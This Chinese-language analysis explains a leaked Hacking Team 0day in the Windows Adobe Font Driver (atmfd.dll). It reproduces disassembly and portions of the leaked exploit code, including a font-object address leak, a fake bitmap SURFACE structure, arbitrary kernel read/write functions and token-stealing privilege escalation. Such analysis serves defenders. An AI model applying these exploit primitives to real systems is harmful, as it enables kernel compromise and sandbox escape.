Hacking Team攻擊代碼 : Adobe Font Driver
責編：admin ｜2015-07-09 13:34:36最近專門提供通過攻擊手法進行網絡監聽的黑客公司Hacking Team被黑，包含該公司的郵件、文檔和攻擊代碼的400G數據泄漏。
為了在IE和Chrome上繞過其沙盒機制完全控制用戶系統，Hacking Team還利用了一個Windows中的內核驅動： Adobe Font Driver(atmfd.dll)中存在的一處字體0day漏洞，實現權限提升并繞過沙盒機制。
該0day漏洞可以用于WindowsXP~Windows 8.1系統，X86和X64平臺都受影響，在Hacking Team泄露的源碼中我們發現了該漏洞的詳細利用代碼。在利用Flash漏洞獲得遠程代碼執行權限后，Hacking Team經過復雜的內核堆操作準備后，加載一個畸形的OTF字體文件，再調用Atmfd中的相關接口觸發處理字體文件過程的漏洞，最后獲得任意次數的任意 內核地址讀寫權限，接著復制Explorer.exe的token到當前進程，并清除本進程的Job來實現沙盒逃逸。
Chrome 43版本以上默認對沙盒內進程使用DisallowWin32k機制關閉了所有win32k相關調用，因此不受這個漏洞的影響。
下面是該漏洞的具體分析，本文分析來自360Vulcan Team的pgboy：
1. 漏洞分析
通過分析漏洞利用的源碼我們看到，該漏洞在加載字體完成后利用NamedEscape函數的0×2514命令來觸發關鍵操作
通過跟蹤NamedEscape我們可以找到存在于atmfd.dll里面漏洞點:
以下是筆者測試機器上atmfd的版本（win7 32bit）:
kd>?lmvm?atmfd start?end?module?name 95250000?9529e000?ATMFD?(no?symbols)? Loaded?symbol?image?file:?ATMFD.DLL Image?path:?\SystemRoot\System32\ATMFD.DLL Image?name:?ATMFD.DLL Timestamp:?Fri?Feb?20?11:09:14?2015?(54E6A55A) CheckSum:?00057316 ImageSize:?0004E000 File?version:?5.1.2.241 Product?version:?5.1.2.241 File?flags:?0?(Mask?3F) File?OS:?40004?NT?Win32 File?type:?3.0?Driver File?date:?00000000.00000000 Translations:?0409.04b0 CompanyName:?Adobe?Systems?Incorporated ProductName:?Adobe?Type?Manager InternalName:?ATMFD OriginalFilename:?ATMFD.DLL ProductVersion:?5.1?Build?241 FileVersion:?5.1?Build?241 FileDescription:?Windows?NT?OpenType/Type?1?Font?Driver LegalCopyright:??1983-1990,?1993-2004?Adobe?Systems?Inc.
相關觸發漏洞的callback代碼如下：
.text:00011EC6?WriteCallback?proc?near?;?DATA?XREF:?sub_125D0+66?o .text:00011EC6 .text:00011EC6?ms_exc?=?CPPEH_RECORD?ptr?-18h .text:00011EC6?arg_4?=?word?ptr?0Ch .text:00011EC6?arg_8?=?word?ptr?10h .text:00011EC6?arg_C?=?dword?ptr?14h .text:00011EC6 .text:00011EC6?push?8 .text:00011EC8?push?offset?stru_4CF60 .text:00011ECD?call?__SEH_prolog4 .text:00011ED2?and?[ebp+ms_exc.registration.TryLevel],?0 .text:00011ED6?movsx?eax,?[ebp+arg_8]?;參數是一個有符號的WORD，這里在擴展的時候會直接變成負數 .text:00011EDA?mov?ecx,?[ebp+arg_C] .text:00011EDD?movzx?edx,?word?ptr?[ecx+4] .text:00011EE1?cmp?eax,?edx .text:00011EE3?jge?short?loc_11EEE .text:00011EE5?mov?dx,?[ebp+arg_4] .text:00011EE9?mov?[ecx+eax*2+6],?dx .text:00011EEE .text:00011EEE?loc_11EEE:? .text:00011EEE?mov?[ebp+ms_exc.registration.TryLevel],?0FFFFFFFEh .text:00011EF5?call?loc_11F04? .text:00011EFA?;?--------------------------------------------------------------------------- .text:00011EFA .text:00011EFA?loc_11EFA:? .text:00011EFA?xor?eax,?eax .text:00011EFC?call?__SEH_epilog4 .text:00011F01?retn?10h
F5之后的callback代碼
int?__stdcall?WriteCallback(int?a1,?__int16?a2,?__int16?a3,?int?a4)
{
if?(?a3?<?(signed?int)*(_WORD?*)(a4?+?4)?)
???*(_WORD?*)(a4?+?2?*?a3?+?6)?=?a2;
return?0;
}
這個Callback被外層函數循環調用寫入緩存：
.text:0002A028?loc_2A028:?;?CODE?XREF:?xxxEnumCharset+E7?j .text:0002A028?push?[ebp+InBuffer] .text:0002A02B?movzx?eax,?si .text:0002A02E?push?eax .text:0002A02F?push?eax .text:0002A030?lea?eax,?[ebp+var_1C] .text:0002A033?push?eax .text:0002A034?push?[ebp+var_4] .text:0002A037?call?[ebp+arg_0] .text:0002A03A?movzx?eax,?ax .text:0002A03D?push?eax .text:0002A03E?push?0 .text:0002A040?call?[ebp+callback]?;?調用觸發漏洞的回調函數,將Charset寫入到InBuffer中 .text:0002A043?movzx?eax,?word?ptr?[edi+5Ch] .text:0002A047?inc?esi .text:0002A048?cmp?esi,?eax .text:0002A04A?jb?short?loc_2A028
我們可以看到，這里參數a3是一個有符號的16位數，當a3>0×8000的時候，movsx會將其擴展成0xffff8xxx，因此下面的寫操作就變成了堆上溢，會往給出的緩存地址的前面寫入。這是一個典型的由于符號溢出引發的堆上溢漏洞。
了解了漏洞的原理后，我們來繼續分析OTF文件是如何觸發該問題的，通過調試結合Adobe的文檔我們可以知道，是在處理OTF文件中CFF表的Charset過程引發的問題。
我們可以通過T2F Analyzer來觀察這個被加載的OTF字體文件的格式。見下圖：
顯而易見，樣本OTF文件中構造了超長的Charset，然后通過NamedEscape函數的0×2514命令來獲取Charset的時候，就會觸發到上面描述的觸發點，引發符號溢出。
2.漏洞利用
我們從頭再看一下漏洞利用的流程，整個流程主要分這么幾個部分：
1. 找到內核字體對象的地址
由于內核字體內存的布局無法直接被Ring3代碼探知，利用代碼中使用了一個特殊的技巧來實現獲得內核字體對象的地址，在利用代碼中，先加載字體， 然后立刻創建一個Bitmap對象，再連續多次加載這個字體，由于win32k和atmfd中共用了內存堆處理函數，因此會導致Bitmap對象和字體對 象是正好相鄰的。
由于Bitmap這類user/gdi對象的實際內核地址可以通過映射到Ring3的GdiSharedHandleTable獲得，因此這樣也就可以間接獲得攻擊代碼加載到內核的字體對象的范圍。
最 后，由于NamedEscape函數調用atmfd設備的0x250A號命令可以指定對象的地址，并校驗字體對象的有效性同時將字體對象讀出來，因此攻擊 代碼結合Bitmap定位和NamedEscape的0x250a指令，就可以準確獲取字體對象的地址，相關的代碼如下：
while?(found?==?0)?{
unsigned?char?fontloaded?=?0;
for?(j?=?0;?j?<?15;?j++)?{
tmp[0]?=?0;
fhandle?=?lpTable->fpAddFontMemResourceEx(lpTable->lpLoaderConfig->foofont,?sizeof(lpTable->lpLoaderConfig->foofont),?0,?&tmp[0]);
if?(fhandle){
fontloaded?=?1;
}
}
if?(fontloaded?==?0)?{
return?-1;
}
if?(lpTable->locals->is64)
j?=?(unsigned?int)lpTable->fpCreateBitmap(smallbitmapw64,?smallbitmaph64,?1,?32,?buf64);
else
j?=?(unsigned?int)lpTable->fpCreateBitmap(smallbitmapw32,?smallbitmaph32,?1,?32,?buf32);
if?(lpTable->locals->is64)?{
tmp[0]?=?handleaddr64low(j);
tmp[1]?=?handleaddr64high(j);
}
else
tmp[0]?=?handleaddr(j);
min?=?tmp[0]?-?0x4000;
max?=?tmp[0]?+?0x4000;
for?(j?=?0;?j?<?15;?j++)?{
tmp[0]?=?0;
lpTable->fpAddFontMemResourceEx(lpTable->lpLoaderConfig->foofont,?sizeof(lpTable->lpLoaderConfig->foofont),?0,?&tmp[0]);
}
for?(i?=?min;?i?<?max;?i?+=?8)?{
int?ret;
*(unsigned?int*)inbuf?=?i;
if?(lpTable->locals->is64)
*(unsigned?int*)(inbuf?+?4)?=?tmp[1];
__MEMSET__(outbuf,?0,?sizeof(outbuf));
//call?an?internal?atmfd.dll?function?which?receives?a?kernel?font?object?as?input?and?validates?it
//also?returning?data?that?identifies?the?font
if?(lpTable->locals->is64)?{
ret?=?NamedEscape(NULL,?wcAtmfd,?0x250A,?0x10,?inbuf,?0x10,?outbuf);
}else?{
ret?=?NamedEscape(NULL,?wcAtmfd,?0x250A,?0x0C,?inbuf,?0x0C,?outbuf);
}
if?(ret?!=?0xFFFFFF21)?{
char?*p;
if?(lpTable->locals->is64)
p?=?outbuf?+?8;
else
p?=?outbuf?+?4;
if?(__MEMCMP__(p,?lpTable->lpLoaderConfig->strFontEgg,?8)?==?0)?{
found?=?1;
break;
}
}
}
}
2. 觸發漏洞，實現寫入Bitmap對象
攻擊代碼首先會分配多個0xb000大小的對象，然后找到9個相鄰的Bitmap對象并釋放中間的3個，這樣就在內核win32k堆內存中留下了 0xb000*3= 0×21000大小的空洞，接著攻擊代碼調用NameDEscape-atmfd的0×2514號命令來讀取超長的Charset，觸發漏洞。
在這個NamedEscape調用到atmfd過程中，會分配內核對象來復制一份輸入的緩存，這里攻擊代碼將輸入的緩存大小設置為0×20005，由于頁對齊的原因，這里正好可以占住上面我們說到的0×21000大小的空洞內存。
這樣在最終符號溢出時，就會寫入到這塊Buffer上面未被釋放的Bitmap對象中，這就通過精確地堆操作完成了將這個符號溢出導致的緩存上溢轉換到對已控制的Bitmap對象的寫入。
這個轉化的流程如下圖所示：
3. 將Bitmap寫入轉換為內核任意地址讀寫
在第2步我們講到這里可以通過操作字體接口，將OTF文件的Charset處理的符號溢出漏洞轉換為覆蓋Bitmap對象內存的操作，這里我們來看看Bitmap對象在win32k中是如何組織的：它實際是一個 SURFACE對象，結構如下：
typedef?struct?{
unsigned?int?handle0;
unsigned?int?unk0[4];
unsigned?int?handle1;
unsigned?int?unk1[2];
unsigned?int?width;
unsigned?int?height;
unsigned?int?size;
unsigned?int?address0;
unsigned?int?address1;
unsigned?int?scansize;
unsigned?int?unk2;
unsigned?int?bmpformat;
unsigned?int?surftype;
unsigned?int?unk3;
unsigned?int?surflags;
unsigned?int?unk4[12];
}?SURFACE;
其中，Address0其實是指向Bitmap中BitsBuffer的指針，我們可以通過SetBitmapBits函數來操作 BitsBuffer指向的內存，可以寫入bitmap對象的SURFACE內核結構后，攻擊代碼就可以通過控制Address0來實現任意地址讀寫。
在攻擊代碼中，使用了兩個Bitmap對象，一個Bitmap用來控制讀寫地址，另一個Bitmap2用來進行實際讀寫，我們將Bitmap2作為 讀寫地址控制器，將其pBitsBuffer指向實現實際讀寫的Bitmap的pBitsBuffer的地址，這樣就可以實現多次穩定的任意地址讀寫。
也就是說，我們通過對Bitmap2進行 SetBitmapBits,設置實際讀寫的 Bitmap的pBitsBuffer為我們想要讀寫的地址，然后就可以通過進行實際讀寫的Bitmap的GetBitmapBits和 SetBitmapBits來實現對指定地址的讀寫了，如圖所示：
我們看到，在攻擊代碼中，首先創建了一個假的Bitmap對象，然后將這個對象寫到字體的Charset中：
surf32.width?=?largebitmapw;
surf32.height?=?largebitmaph;
surf32.size?=?surf32.width*surf32.height?*?4;
//point?to?hBitmap?SURFACE->address0,?which?contains?the?kernel?address?of?bitmap?data
surf32.address0?=?surf32.address1?=?handleaddr(lpTable->locals->hBitmap)?+?0x2C;
surf32.scansize?=?surf32.width?*?4;
surf32.bmpformat?=?0x6;?//BMF_32BPP
surf32.surftype?=?0x00010000;?//STYPE_DEVICE
surf32.surflags?=?0x04800000;?//API_BITMAP?|?HOOK_TEXTOUT
//write?to?the?OTF?data?loaded?from?font.h
for?(i?=?0;?i?<?sizeof(surf32);?i?+=?2)?{
unsigned?short?tmp?=?*(unsigned?short*)((unsigned?int)&surf32?+?i);
*(unsigned?short*)(lpTable->lpLoaderConfig->foofont?+?0x16DF3?+?i)?=?lpTable->fpHtons(tmp);
}
上面的攻擊代碼中，則將這個假的Bitmap對象的address0，也就是pBitsBuffer設置成了進行實際讀寫的bitmap的pBitsBuffer的地址。所以這個假的Bitmap對象就是我們上面提到的控制讀寫地址的Bitmap2。
最后下面就是完整的利用這個方式實現的任意內核地址的讀（arbread）和寫（arbwrite）代碼:
unsigned?int?arbread(PVTABLE?lpTable,?unsigned?int?addrl,?unsigned?int?addrh)?{
unsigned?int?tmp[4];//?=?{0,0,0,0};
__MEMSET__(tmp,?0,?4);
if?(lpTable->locals->is64)?{
tmp[0]?=?tmp[2]?=?addrl;
tmp[1]?=?tmp[3]?=?addrh;
lpTable->fpSetBitmapBits(lpTable->locals->thehandle,?sizeof(tmp),?&tmp);
lpTable->fpGetBitmapBits(lpTable->locals->hBitmap,?sizeof(tmp[0]),?&tmp[0]);
}?else?{
tmp[0]?=?tmp[1]?=?addrl;
lpTable->fpSetBitmapBits(lpTable->locals->thehandle,?8,?&tmp);
lpTable->fpGetBitmapBits(lpTable->locals->hBitmap,?sizeof(tmp[0]),?&tmp[0]);
}
return?tmp[0];
}
//?ported
unsigned?int?arbwrite(PVTABLE?lpTable,?unsigned?int?addrl,?unsigned?int?addrh,?unsigned?int?value0,?unsigned?int?value1)?{
unsigned?int?tmp[4];?//?=?{0,0,0,0};
__MEMSET__(tmp,?0,?4);
if?(lpTable->locals->is64)?{
tmp[0]?=?tmp[2]?=?addrl;
tmp[1]?=?tmp[3]?=?addrh;
lpTable->fpSetBitmapBits(lpTable->locals->thehandle,?sizeof(tmp),?&tmp);
tmp[0]?=?value0;
tmp[1]?=?value1;
lpTable->fpSetBitmapBits(lpTable->locals->hBitmap,?8,?&tmp[0]);
}?else?{
tmp[0]?=?tmp[1]?=?addrl;
lpTable->fpSetBitmapBits(lpTable->locals->thehandle,?8,?&tmp);
tmp[0]?=?value0;
lpTable->fpSetBitmapBits(lpTable->locals->hBitmap,?sizeof(tmp[0]),?&tmp[0]);
}
return?tmp[0];
}
3.修復內核堆
由于漏洞是在上溢過程中進行的對前一個對象寫入，必然會對內核堆造成破壞，所以必須要修復內核堆的結構，這樣才能實現在進程退出，對象被釋放時不會造成系統藍屏崩潰，詳細的修復代碼可以參考源碼中觸發利用點之后的操作，篇幅關系就不在這里完全列出了。
4.實現權限提升
在實現了內核任意地址寫入功能后，權限提升過程就比較簡單了，攻擊代碼通過遍歷內核進程表找到explore.exe的進程token，直接將 explore的token對象的地址寫入到當前進程的token中，并清除進程的Job對象，來實現最終完全繞過各類沙盒的保護功能。
由于權限提升過程中完全使用了DKOM的方式，沒有進行內核代碼執行，因此也繞過了Windows8以上系統中的SMEP內核保護功能。
我們在分析這個漏洞的過程中，發現目前Hacking Team版本的漏洞利用代碼還是存在一些問題的，由于最終的提權代碼直接從Explore復制的token對象，會導致該token對象的引用計數出現問 題，當系統關機、注銷，或者Explore.exe異常結束，最終導致Explore.exe進程退出時，可能會導致引用錯誤的token對象，引發系統 藍屏崩潰，這是這個利用不夠優美的地方。